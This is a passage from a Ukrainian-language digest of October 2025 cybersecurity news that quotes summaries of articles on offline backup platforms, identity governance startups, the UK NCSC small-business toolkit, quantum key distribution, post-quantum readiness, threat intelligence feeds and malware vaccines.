який постачається з дублюючим резервним копіюванням для забезпечення безперервності роботи. На рівні підприємства Firevault «Storage» забезпечує «нуль» у моделі резервного копіювання 3-2-1-0, повністю виводячи конфіденційні комерційні або клієнтські набори даних за межі мережі та скорочуючи операційні витрати приблизно на третину. Рівень «платформа як послуга» (FV-PaaS) додає дев'ять офлайн-модулів, щоб уряди, оператори критичної інфраструктури та транснаціональні корпорації могли відтворити однакову стійкість суверенного рівня на всіх об'єктах і в усіх юрисдикціях.

Комерційний стимул очевидний: середня вартість порушення зараз становить 3,29 млн фунтів стерлінгів у Великобританії або 10,22 млн доларів у США, а регуляторні органи, від ICO у Великобританії до SEC у США та органів влади Перської затоки, накладають суворі корпоративні та навіть особисті штрафи за розкриття інформації про втрату даних. Повністю усунувши поверхню для онлайн-атак, Firevault захищає клієнтів від таких втрат, а партнери включають підписку в контракти на управління послугами, додають до неї консультаційні та послуги з дотримання вимог і забезпечують довгострокову лояльність клієнтів…

Реселерам пропонується зареєструвати свою зацікавленість, замовити демо-версію та приєднатися до партнерської програми Firevault, щоб отримати доступ до моделей маржі, інструментів продажів, навчання та готового «офлайн-шару забезпечення», який виділяє їхній набір засобів безпеки та відкриває нові надійні канали доходу». ***(Neil Trim. UK Cybersecurity Startup Launches Secured Offline Platform – Firevault – for IT Resellers, Unified Comms, and Managed Services Providers // Kingswood Media (https://technologyreseller.uk/uk-cybersecurity-startup-launches-a-secured-offline-platform-firevault-for-it-resellers-unified-comms-and-managed-services-providers/). 13.10.2025).***

***

«Британський стартап у сфері кібербезпеки Join Ploy Ltd. залучив 2,5 млн фунтів стерлінгів (3,33 млн доларів) для прискорення розробки продуктів та глобальної експансії, зосередившись на боротьбі зі зростанням кількості кібератак, пов'язаних з ідентифікацією, які зараз становлять 80% порушень. Заснована в 2023 році колишніми керівниками Metomic Гаррі Лукасом і Джейкобом Праймом, компанія Ploy вирішує проблему управління складними ідентичностями в розподілених SaaS- і хмарних середовищах, стверджуючи, що застарілі інструменти управління та адміністрування ідентичностями (IGA) є занадто повільними, застарілими і непридатними для сучасних розподілених технологічних стеків… Платформа Ploy забезпечує безпечний та відповідний вимогам доступ завдяки автоматизації всіх процесів ідентифікації, включаючи реєстрацію, запити на доступ та перевірки, у SaaS, хмарних та інструментах для співпраці. Завдяки вбудованим інтеграціям платформа дозволяє компаніям отримати можливість відстежувати дані в режимі реального часу та розпочати автоматизацію процесів ідентифікації менш ніж за 20 хвилин. Ploy також включає вбудованого ШІ-асистента «Luna», який допомагає командам безпеки виявляти аномалії та приймати контекстно-орієнтовані рішення щодо доступу. Незважаючи на свою молодість, Ploy забезпечила понад 1 мільйон індивідуальних прав доступу

та виявила понад 26 000 SaaS-додатків серед своєї зростаючої клієнтської бази. Генеральний директор Джейкоб Прайм підкреслює, що платформа є життєво важливою для вирішення юридичних та безпекових проблем, пов'язаних із застарілим відстеженням доступу на основі електронних таблиць». ***(Duncan Riley. Ploy raises $3.33M to tackle rising identity-based cyberthreats with automation // SiliconANGLE Media Inc. (https://siliconangle.com/2025/10/15/ploy-raises-3-33m-tackle-rising-identity-based-cyber-threats-automation/). 15.10.2025).***

***

«Національний центр кібербезпеки (NCSC) посилив свою відданість малому бізнесу, запустивши Набір інструментів для боротьби з кіберзагрозами (Cyber Action Toolkit). Оголошений 14 жовтня набір інструментів пропонує приватним підприємцям, мікробізнесу та малим організаціям основні ресурси, необхідні для захисту своїх людей, фінансів та репутації від зростаючої хвилі кіберзагроз...

Інструментарій надає персоналізовані рекомендації, адаптовані до розміру та потреб кожного підприємства, зосереджуючись насамперед на високоефективних та низькозусиллових діях. Його багаторівнева структура — Базовий, Покращений та Розширений — дозволяє користувачам відстежувати прогрес та відзначати віхи в міру просування програмою.

Основні характеристики включають:

Безкоштовні, персоналізовані рекомендації з кібербезпеки

Покрокові дії залежно від розміру та зрілості бізнесу

Відстеження прогресу з вбудованою гейміфікацією

Набір інструментів для кіберзаходів надає малим підприємствам можливість отримати знання та впевненість, необхідні для просування до Cyber Essentials — урядової сертифікації, призначеної для встановлення базового стандарту кіберстійкості по всій Великій Британії». ***(New NCSC toolkit helps small businesses take first steps in building cyber resilience // techUK (https://www.techuk.org/resource/new-ncsc-toolkit-helps-small-businesses-take-first-steps-in-building-cyber-resilience.html). 15.10.2025).***

***

Питання криптографії

«…Класичне шифрування втратить свою ефективність, коли великомасштабні квантові комп'ютери зможуть зламати сучасні математичні шифри, тому дослідники поспішають перетворити саму фізику на зброю. Одним з провідних варіантів є квантовий розподіл ключів (QKD), який надсилає окремі фотони, стан яких неможливо скопіювати без виявлення. Традиційний QKD базується на двостанових кубітах, що обмежує швидкість і стійкість, і зазвичай вимагає громіздких інтерферометрів і декількох детекторів. Команда Варшавського університету продемонструвала більш компактну і потужну альтернативу: високорозмірний QKD, що використовує ефект Талбота 19 століття… Коли

світлові імпульси проходять через дисперсійне волокно, вони «самовідновлюються» в часі; група використовує це тимчасове явище Талбота для кодування чотиристанових кудітів і зчитування їх за допомогою одного надпровідного нанодротового детектора на базу замість цілого лісу оптичних приладів. У лабораторних випробуваннях і на 13-кілометровій петлі темного волокна через Варшаву система підтримувала рівень помилок часової бази нижче 0,5%, забезпечувала більше бітів на фотон, ніж схеми кубітів, і витримала суворі випробування на безпеку, що враховують втрати, залежні від бази… Простий атенюатор збалансував канали, відновивши повну доведену безпеку. Оскільки в установці використовуються готові телекомунікаційні компоненти та один дисперсійний модуль, вона є дешевшою, компактнішою та простішою у масовому виробництві, ніж попередні високорозмірні конструкції. Завдяки кращим детекторам та фотонній інтеграції цей підхід може бути безпосередньо впроваджений в існуючі волоконні мережі, надаючи банкам, лікарням, урядам та звичайним користувачам практичний шлях до квантово-безпечного зв'язку задовго до появи квантових комп'ютерів, здатних зламати шифри…» ***(Shy Cohen. Scientists create the next-generation of secure quantum communication // Brighter Side of News (https://www.thebrighterside.news/post/scientists-create-the-next-generation-of-secure-quantum-communication/). 04.10.2025).***

***

«…Поява квантових обчислень становить значну загрозу для сучасних методів шифрування, що спонукає зловмисників застосовувати тактику «збирай зараз, розшифровуй пізніше», викрадаючи зашифровані дані сьогодні в очікуванні майбутніх можливостей розшифрування. Згідно з останнім звітом IBM Institute for Business Value «Забезпечення безпеки в постквантовому майбутньому», 73% організацій визнають існування цього ризику, проте між усвідомленням проблеми та діями існує значна розбіжність: лише 19% організацій встановили короткострокові цілі щодо досягнення квантової безпеки. Ця розбіжність посилюється дефіцитом необхідних навичок та фрагментованою відповідальністю, незважаючи на те, що найчастіше саме технічні директори (CTO) називаються відповідальними за ці ініціативи…

Середній бал за індексом IBM Quantum-Safe Readiness Index (QSRI) у 2025 році лише незначно зріс до 25, що підкреслює нагальну необхідність прискорення процесу. Важливим першим кроком у цьому переході є створення вичерпного, орієнтованого на бізнес криптографічного інвентарю для відображення впроваджень та залежностей — крок, який здійснили менше ніж одна з трьох організацій. Власне CIO Office IBM продемонструвало можливість такого переходу, використовуючи такі інструменти, як IBM Quantum Safe™ Explorer, для виявлення криптографічних артефактів і створення практичних криптографічних специфікацій (CBOM) практично без ручної роботи. Нарешті, організації повинні переосмислити квантово-безпечні можливості не лише як страхування від ризиків, а як стратегічні інвестиції, що корелюють з більшою гнучкістю, інноваціями та цифровою трансформацією, що робить підготовку до квантової стійкості негайним пріоритетом керівництва». ***(Gregg Barrow, Antti Ropponen. From awareness to***

execution: Leading the charge in quantum-safe cybersecurity // IBM (https://www.ibm.com/think/insights/leading-charge-quantum-safe-cybersecurity). 08.10.2025).

***

«Канали інформації про загрози — це автоматизовані потоки даних у реальному часі, які надають командам з безпеки розширену інформацію про кіберзагрози, індикатори компрометації (IoC) та схеми атак, що дозволяє здійснювати проактивний захист і зменшувати витрати, пов'язані з порушеннями безпеки даних, завдяки швидшій ідентифікації та локалізації. Високоякісні канали повинні бути своєчасними, точними (з низьким рівнем помилкових спрацьовувань), контекстуальними (включаючи пов'язаних з загрозою суб'єктів або сімейства шкідливого програмного забезпечення), релевантними для технологічного стеку організації та легко інтегруватися в існуючі платформи безпеки за допомогою стандартних форматів, таких як STIX/TAXII…

Організації можуть вибирати між безкоштовними, підтримуваними спільнотою відкритими джерелами, які ідеально підходять для доповнення існуючої інформації, та комерційними джерелами, які пропонують власні дані, розширену аналітику та швидші оновлення від постачальників послуг безпеки…

Серед 13 критично важливих каналів, які рекомендується відстежувати, є Wiz Cloud Threat Landscape, який є унікальним завдяки своїй орієнтованій на хмару, ретельно відібраній інформації, що акцентує увагу на публічних хмарних середовищах та системах CI/CD; SANS Internet Storm Center (ISC), надійний безкоштовний ресурс, що використовує датчики по всьому світу; LevelBlue Labs Open Threat Exchange (OTX), мережа під керівництвом спільноти для широкого доступу до IoC; а також канали, орієнтовані на електронну пошту, такі як Spamhaus та OpenPhish. Інші важливі ресурси включають вичерпну інформацію про шкідливе програмне забезпечення та ботнети від CrowdSec і HoneyDB, звіти про виправлення мережевих проблем від Shadowserver, авторитетні послуги CISA, такі як Automated Indicator Sharing (AIS) і каталог Known Exploited Vulnerabilities (KEV), а також GreyNoise, який фільтрує фоновий трафік сканування від активності, що вимагає вжиття заходів…

Разом ці канали допомагають командам з безпеки визначити пріоритетність найбільш актуальних загроз, що є особливо важливим, враховуючи, що фішинг залишається поширеним вектором атак». ***(Greg Zemlin. The 13 Must-Follow Threat Intel Feeds // Wiz, Inc. (https://www.wiz.io/academy/must-follow-threat-intel-feeds). 11.10.2025).***

***

«…Незважаючи на постійну ескалацію використання програм-вимагачів, глобальна індустрія кібербезпеки традиційно віддавала перевагу реактивним заходам. Зараз досліджується більш проактивний підхід за допомогою «вакцин від шкідливого програмного забезпечення», який передбачає внесення косметичних змін до коду системи, щоб обдурити шкідливе програмне забезпечення і змусити його припинити процес інфікування. Програми-вимагачі

зазвичай сканують систему на наявність «маркерів інфікування», аналітичних інструментів або віртуалізованих середовищ, перш ніж розгорнути своє шкідливе навантаження. Попередні вакцини використовували маркери інфікування, редагування реєстру (наприклад, EmoCrash kill switch для Emotet) або підроблені об'єкти mutex, щоб змусити шкідливе програмне забезпечення повірити, що система вже скомпрометована або корисний вантаж вже запущений…

Однак існуючі вакцини мають обмежену ефективність, оскільки вони часто націлені на окремі штами шкідливого програмного забезпечення, можуть створювати перешкоди для роботи легального програмного забезпечення і легко обходитись незначними змінами коду з боку зловмисників, як це було у випадку з авторами Emotet, які виправили kill switch EmoCrash протягом шести місяців. Дослідник Recorded Future Джастін Гросфельт вважає, що наступним необхідним етапом є створення єдиної вакцини, ефективної проти декількох сімейств шкідливого програмного забезпечення, шляхом модифікації профілів PowerShell для помилкового повідомлення про умови, такі як «IsVirtualMachine = true». Гросфельт зараз виступає за модель відкритого співтовариства — подібну до успішних правил Sigma — де дослідники можуть обмінюватися інформацією для створення та постачання цих вакцин проти декількох сімейств…

Незважаючи на свій потенціал, вакцини проти шкідливого програмного забезпечення не набули широкого комерційного поширення, частково через домінування таких великих постачальників рішень для виявлення та реагування на загрози в кінцевих точках (EDR), як Microsoft і Google, які надають пріоритет реактивним засобам захисту і можуть включати нечіткі «проактивні» функції (наприклад, тіньові копії Microsoft) без явного просування концепції вакцини. Експерти відзначають відсутність співпраці в галузі та стандартизації практик кібербезпеки, хоча деякі вважають, що обміну інформацією між великими постачальниками достатньо. Існують вагомі аргументи на користь збільшення державного фінансування фундаментальних досліджень і навчання в галузі кібербезпеки, щоб забезпечити перенесення відкриттів з лабораторій у практичне використання та запобігти тому, щоб знання в галузі кібербезпеки стали прерогативою лише заможних верств населення. Хоча деякі експерти залишаються скептичними щодо ефективності вакцин у складних корпоративних середовищах, загальний консенсус полягає в тому, що проактивні, спільні та науково обґрунтовані заходи мають вирішальне значення для боротьби з ескалацією загроз…» ***(Mary-Ann Russon. How malware vaccines could stop ransomware's rampage // The Register (https://www.theregister.com/2025/10/21/malware_vaccines/). 21.10.2025).***

***

«Квантові обчислення становлять серйозну загрозу для сучасних основ цифрової безпеки, оскільки потужні квантові машини, що використовують алгоритми на зразок алгоритму Шора, можуть швидко зламати асиметричне шифрування (RSA та ECC), яке забезпечує безпеку банківських операцій, обміну повідомленнями та урядових комунікацій. Хоча симетричне шифрування (AES) є менш вразливим, квантові алгоритми, такі як алгоритм Гровера, все одно

можуть зменшити його ефективну силу вдвічі, що вимагає переходу на AES-192 або AES-256 для даних, що зберігаються. Важливо, що загроза не є лише майбутньою: зловмисники займаються «збиранням врожаю зараз, розшифруванням пізніше», викрадаючи зашифровані дані сьогодні в очікуванні майбутніх можливостей квантового розшифрування…

Хоча квантові комп'ютери, здатні зламати сучасне шифрування, з'являться не раніше ніж через 5–15 років, готуватися до цього потрібно вже зараз, оскільки перехід на квантово-безпечну систему захисту займе роки. Організації повинні почати з ретельного інвентаризації для класифікації конфіденційних даних та аудиту всіх методів шифрування з метою виявлення вразливих алгоритмів. Дуже важливо проінформувати керівництво, щоб забезпечити підтримку для вжиття невідкладних заходів…

Розумні організації розробляють дорожню карту Quantum-Safe Roadmap для переходу на квантово-стійку криптографію (PQC), яка включає встановлення термінів, тестування нових алгоритмів, стандартизованих NIST (таких як криптографія на основі решіток), та інтеграцію PQC у критично важливі системи. Ключовою оборонною стратегією є крипто-агільність: проектування систем, здатних швидко та ефективно перемикати алгоритми у міру розвитку загроз та стандартів. Крім того, високоцінні додатки повинні досліджувати квантовий розподіл ключів (QKD), а організації повинні оновлювати плани реагування на інциденти з урахуванням квантових порушень, в кінцевому підсумку поєднуючи технічну підготовку з організаційною готовністю та навчанням персоналу». ***(Amit Jaju. Quantum Computing: The Next Frontier in Cybersecurity Threats and Defenses // Ankura Consulting Group, LLC. (https://angle.ankura.com/post/102l0qd/quantum-computing-the-next-frontier-in-cybersecurity-threats-and-defenses). 13.10.2025).***

***